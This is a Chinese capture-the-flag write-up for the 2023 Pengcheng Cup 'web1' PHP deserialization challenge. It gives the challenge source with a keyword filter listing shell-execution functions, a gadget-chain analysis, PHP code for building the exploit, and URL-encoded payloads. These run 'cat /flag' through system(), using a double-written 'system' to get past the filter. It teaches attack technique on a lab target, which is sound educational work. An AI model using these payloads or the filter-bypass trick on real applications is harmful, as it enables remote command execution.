【wp】2023鹏城杯初赛 Web web1(反序列化漏洞)

news/2024/5/19 22:47:58 标签: CTF, web安全, PHP反序列化漏洞

考点:

常规的PHP反序列化漏洞+双写绕过waf 签到题

源码:

<?php
show_source(__FILE__);
error_reporting(0);
class Hacker{
    private $exp;
    private $cmd;

    public  function __toString()
    {
        call_user_func('system', "cat /flag");
    }
}

class A
{
    public $hacker;
    public  function __toString()
    {
        echo $this->hacker->name;
        return "";
    }
}
class C
{
    public $finish;
    public function __get($value)
    {
        $this->finish->hacker();
        echo 'nonono';
    }
}
class E
{
    public $hacker;

    public  function __invoke($parms1)
    {
        echo $parms1;
        $this->hacker->welcome();
    }
}

class H
{
    public $username="admin";
    public function __destruct()
    {
        $this->welcome();

    }
    public  function welcome()
    {
        echo "welcome~ ".$this->username;
    }
}

class K
{
    public $func;
    public function __call($method,$args)
    {
        call_user_func($this->func,'welcome');
    }
}

class R
{
    private $method;
    private $args;

    public  function welcome()
    {
        if ($this->key === true && $this->finish1->name) {
            if ($this->finish->finish) {
                call_user_func_array($this->method,$this->args);
            }
        }
    }
}

function nonono($a){
    $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|system|eval|flag/i";
    return preg_replace($filter,'',$a);
}

$a = $_POST["pop"];
if (isset($a)){
    unserialize(nonono($a));
}
?>

代码审计:

入口肯定是H. __destruct()魔术方法进去,然后这里就涉及到下一步tostring()魔术方法的触发 ,但是这里涉及两个tostring()方法 然后这里就有个非预期解

非预期解:

 POP链:H.destruct()->Hacker.tostring()

代码构造:

<?php
class Hacker{
    private $exp;
    private $cmd;
}
class A{
    public $hacker;
}
class C{
    public $finish;
}
class E{
    public $hacker;
}

class H{
    public $username="admin";
}

class K{
    public $func;
}
class R{
    private $method;
    private $args;
}
$a = new H();
$a->username = new Hacker();
echo urlencode(serialize($a));

payload:

O%3A1%3A%22H%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A6%3A%22Hacker%22%3A2%3A%7Bs%3A11%3A%22%00Hacker%00exp%22%3BN%3Bs%3A11%3A%22%00Hacker%00cmd%22%3BN%3B%7D%7D

可以得到flag 

预期解:

 我们触发A.tostring()的魔术方法, 找到到出口call_user_func_array(),然后一步一步触发下面的魔术方法

POP链:

H.destruct()->A.tostring()->C.get()->K.call()->E.invoke()->R.welcome()

 代码构造:

<?php
class A{
    public $hacker;
}
class C{
    public $finish;
}
class E{
    public $hacker;
}

class H{
    public $username="admin";
}
class K{
    public $func;
}
class R{
    private $method;  //私有变量需要在里面进行赋值 或者进行一个构造函数来进行反序列化,因为私有变量只有私有的类成员则只能被其定义所在的类访问
    private $args;
    public function __construct(){
        $this->key = true;  //ture 设为真才能进入if语句
        @$this->finish1->name = true; //ture 设为真才能进入if语句;@。当将其放置在一个 PHP 表达式之前,该表达式可能产生的任何错误信息都被忽略掉。
        @$this->finish->finish = true;//ture 设为真才能进入if语句
        $this->method = "system";   //这个会被ban
        $this->args = array("cat /f*"); // 下面这个就是构造命令执行 只有设为数组是因为这里要知道call_user_func()函数如果传入的参数是array类型的话,会将数组的成员当做类名和方法
    }
}

$h = new H();
$h->username = new A();
$h->username->hacker = new C();
$h->username->hacker->finish = new K();
$h->username->hacker->finish->func = new E();
$h->username->hacker->finish->func->hacker = new R();
$s = serialize($h);
$s = preg_replace("/system/", "syssystemtem", $s); //对system进行双写绕过

echo urlencode($s);

payload;

O%3A1%3A%22H%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A6%3A%22hacker%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A6%3A%22finish%22%3BO%3A1%3A%22K%22%3A1%3A%7Bs%3A4%3A%22func%22%3BO%3A1%3A%22E%22%3A1%3A%7Bs%3A6%3A%22hacker%22%3BO%3A1%3A%22R%22%3A5%3A%7Bs%3A9%3A%22%00R%00method%22%3Bs%3A6%3A%22syssystemtem%22%3Bs%3A7%3A%22%00R%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22cat+%2Ff%2A%22%3B%7Ds%3A3%3A%22key%22%3Bb%3A1%3Bs%3A7%3A%22finish1%22%3BO%3A8%3A%22stdClass%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bb%3A1%3B%7Ds%3A6%3A%22finish%22%3BO%3A8%3A%22stdClass%22%3A1%3A%7Bs%3A6%3A%22finish%22%3Bb%3A1%3B%7D%7D%7D%7D%7D%7D%7D

得到flag


http://www.niftyadmin.cn/n/5151511.html

相关文章

AI神助攻,购物更省心:我即将上线一套企业数据高度契合的智能导购APP来开创这一新纪元

将要做什么事的介绍 近期博客写了少了&#xff0c;是因为近小半年来我正在打造一款可私布在企业内部并结合企业自有领域&#xff08;零售商超先行&#xff09;数据的智能导购引擎。截止目前为止还算顺利&#xff0c;并且我将很快将在中国本土的一家生鲜百货超市上线这一款生成…

SpringSecurity全家桶 (二) ——实现原理

1. SpringSecurity的强大之处 当我们并未设置登录页面时&#xff0c;我们只需要导入SpringSecurity的依赖就可以令我们的界面进入保护状态&#xff0c;由下面例子可以凸显出&#xff1a; 随便写个接口 RequestMapping("/hello")public String hello(){return "H…

gdb 日志记录不显示到屏幕的方法(gdb13最新版)

tags: gdb categories: [Debug] 写在前面 gdb 的更新好快啊… 之前的选项都有改动了, 比如 logging… 需要屏幕重定向不能简单设置: set logging on set logging redirect on了, 而是要多开一个配置, 踩坑了 方法 在此之前先看一下我的 gdbinit 配置: set debuginfod e…

学习经验分享【NO.18】YOLOv5可视化特征图教程(持续更新)

YOLOv5项目的6.0以上版本中的detect.pt中集成了可视化相关模块&#xff0c;直接调用即可。 一、可视化特征提取网络中所有模块的可视化图 添加形参如下所示&#xff0c;加载相应的权值文件后&#xff0c;选择相应的图片。 运行detect.py文件后得到如下所示&#xff1a; 以stag…

C语言——选择排序

完整代码&#xff1a; //选择排序 // 选择排序是一种简单直观的排序算法。它的工作原理如下:首先在未排序序列中找到最小&#xff08;大&#xff09;元素&#xff0c;存放到排序序列的起始位置&#xff0c;然后&#xff0c;再从剩余未排序元素中继续寻找最小&#xff08;大&am…

【LeetCode刷题-队列】--933.最近的请求次数

933.最近的请求次数 class RecentCounter {Queue<Integer> queue new LinkedList<>();public RecentCounter() {}public int ping(int t) {queue.offer(t);while(t - queue.peek() > 3000){queue.poll();}return queue.size();} }/*** Your RecentCounter obje…

[SSD综述1.8] 固态存储市场发展分析与预测_固态存储技术发展方向(2022to2023)

依公知及经验整理,原创保护,禁止转载。 专栏 《SSD入门到精通系列》 <<<< 返回总目录 <<<< ​​​​前言 自2020年疫情爆发以来,远程办公、网上教育、流媒体等等应用引爆对消费电子及云服务的需求增长,全球数字化转型加速,带来了两年的闪存风光时…

Git 内容学习

一、Git 的理解 Git是一个分布式版本控制系统&#xff08;Distributed Version Control System&#xff0c;简称 DVCS&#xff09;&#xff0c;用于对项目源代码进行管理和跟踪变更。分为两种类型的仓库&#xff1a;本地仓库和远程仓库。 二、Git 的工作流程 详解如下&#x…